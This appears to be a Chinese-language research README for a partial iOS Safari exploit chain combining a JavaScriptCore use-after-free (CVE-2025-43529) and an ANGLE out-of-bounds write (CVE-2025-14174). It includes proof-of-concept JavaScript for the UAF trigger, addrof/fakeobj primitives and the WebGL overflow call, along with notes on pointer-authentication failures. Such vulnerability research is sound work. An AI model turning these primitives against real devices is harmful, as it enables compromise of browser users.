CVE-2025-43529 (WebKit UAF) + CVE-2025-14174 (ANGLE OOB) 漏洞利用链分析 - iOS Safari
关于 iOS 26.1 上 WebKit/ANGLE 链的笔记与 PoC 材料。这不是一个完整的漏洞利用;它将已验证的原语与仍然失败的部分区分开来。
作者: zeroxjf
基于: jir4vv1t 的 CVE-2025-43529 漏洞利用
状态: 部分链;任意读/写尚未证实
测试设备: iPhone 11 Pro Max,iOS 26.1
最后更新: 2026 年 1 月
CVE-2025-43529 的 UAF 触发、butterfly 回收以及 addrof/fakeobj 原语基于 jir4vv1t 的工作。我的新增部分为 ANGLE OOB 管道、针对 PAC 的分析以及 iOS 26.1 验证。
两个 WebKit CVE 同时披露,Apple 报告称其已被在野利用。
| CVE | 组件 | 类型 | 摘要 |
|---|---|---|---|
| CVE-2025-43529 | JavaScriptCore | 释放后使用(UAF) | DFG JIT 缺少写屏障,导致 GC 释放存活对象 |
| CVE-2025-14174 | ANGLE (GPU) | 越界写入(OOB) | Metal 后端在分配暂存缓冲区时使用了错误的高度 |
该漏洞位于 JavaScriptCore 的 DFG JIT 中,具体是存储屏障插入阶段(DFGStoreBarrierInsertionPhase.cpp)。
当 Phi 节点逃逸但其 Upsilon 输入未被标记为已逃逸时,后续的存储将缺少写屏障。这使得 GC 可以释放仍然可达的对象。
function triggerUAF(flag, k, allocCount) {
let A = { p0: 0x41414141, p1: 1.1, p2: 2.2 };
arr[arr_index] = A; // A in old space
let a = new Date(1111);
a[0] = 1.1; // Creates butterfly for Date
// Force GC
for (let j = 0; j < allocCount; ++j) {
forGC.push(new ArrayBuffer(0x800000));
}
let b = { p0: 0x42424242, p1: 1.1 };
// Phi node - the bug
let f = b;
if (flag) f = 1.1;
A.p1 = f; // Phi escapes, but 'b' NOT marked as escaped
// Long loop = GC race window
for (let i = 0; i < 1e6; ++i) { /* ... */ }
b.p1 = a; // NO WRITE BARRIER - 'a' freed while still reachable
}
已释放的 Date 的 butterfly 可以被 spray 数组回收,从而造成类型混淆:
// After reclaim:
boxed_arr[0] = obj; // Store object reference
addr = ftoi(unboxed_arr[0]); // Read as float64 = leaked address
unboxed_arr[0] = itof(addr); // Write address as float64
fake = boxed_arr[0]; // Read as object = fakeobj
在 ANGLE 的 Metal 后端(TextureMtl.cpp)中,通过 PBO 上传时,暂存缓冲区分配使用的是 UNPACK_IMAGE_HEIGHT 而非实际纹理高度。
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // Small value
// Staging buffer: 256 * 16 * 4 = 16KB
// Actual write: 256 * 256 * 4 = 256KB
// OOB: 240KB!
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
在 arm64e(iPhone 11 Pro Max)上,指针认证码(PAC) 保护着关键的 JSC 指针:
| 指针 | 受保护 | 结果 |
|---|---|---|
TypedArray m_vector | 是 | 无法伪造具有任意后备存储的 TypedArray |
JSArray butterfly | 是 | 无法伪造具有任意 butterfly 的 JSArray |
当我尝试使用任意数据指针创建伪造的 TypedArray/JSArray 时,PAC 验证失败并导致崩溃:
Exception: EXC_BAD_ACCESS
KERN_INVALID_ADDRESS at 0x0001fffffffffffc -> 0x0000007ffffffffc
(possible pointer authentication failure)
类型混淆之所以成功,是因为两个数组都使用合法签名的 butterfly 指针——我们只是重新解释同一块内存。带有任意未签名指针的伪造对象会在 PAC 检查时崩溃。
addrof、fakeobj、地址泄露、已知对象上的内联槽位读/写read64/write64、渲染器→GPU 逃逸链、沙箱逃逸├── README.md # This file
├── poc/
│ └── chained_exploit_probe.html
└── analysis/
├── pac_analysis.md # Detailed PAC findings
└── crash_logs/ # Example crash reports
CVE-2025-43529 的触发、butterfly 回收技术以及 addrof/fakeobj 构造基于 jir4vv1t/CVE-2025-43529。本仓库新增了 iOS 26.1 验证、PAC 说明和 ANGLE OOB 管道。
当前状态: 可用于复现 JSC 原语和 PAC 阻碍问题;尚不是完整的漏洞利用链。
| 原语 | 状态 | 备注 |
|---|
addrof(obj) | 可用 | 已在探针中验证 |
fakeobj(addr) | 可用 | 已针对已知对象验证 |
| 地址泄露 | 可用 | 每次运行 20+ 个地址 |
| 内联槽位读/写 | 可用 | 已在已知内联槽位上验证(基于对象地址) |
read64(addr) | 未验证 | 通过内联槽位技巧构建,验证失败 |
write64(addr) | 未验证 | 通过内联槽位技巧构建,验证失败 |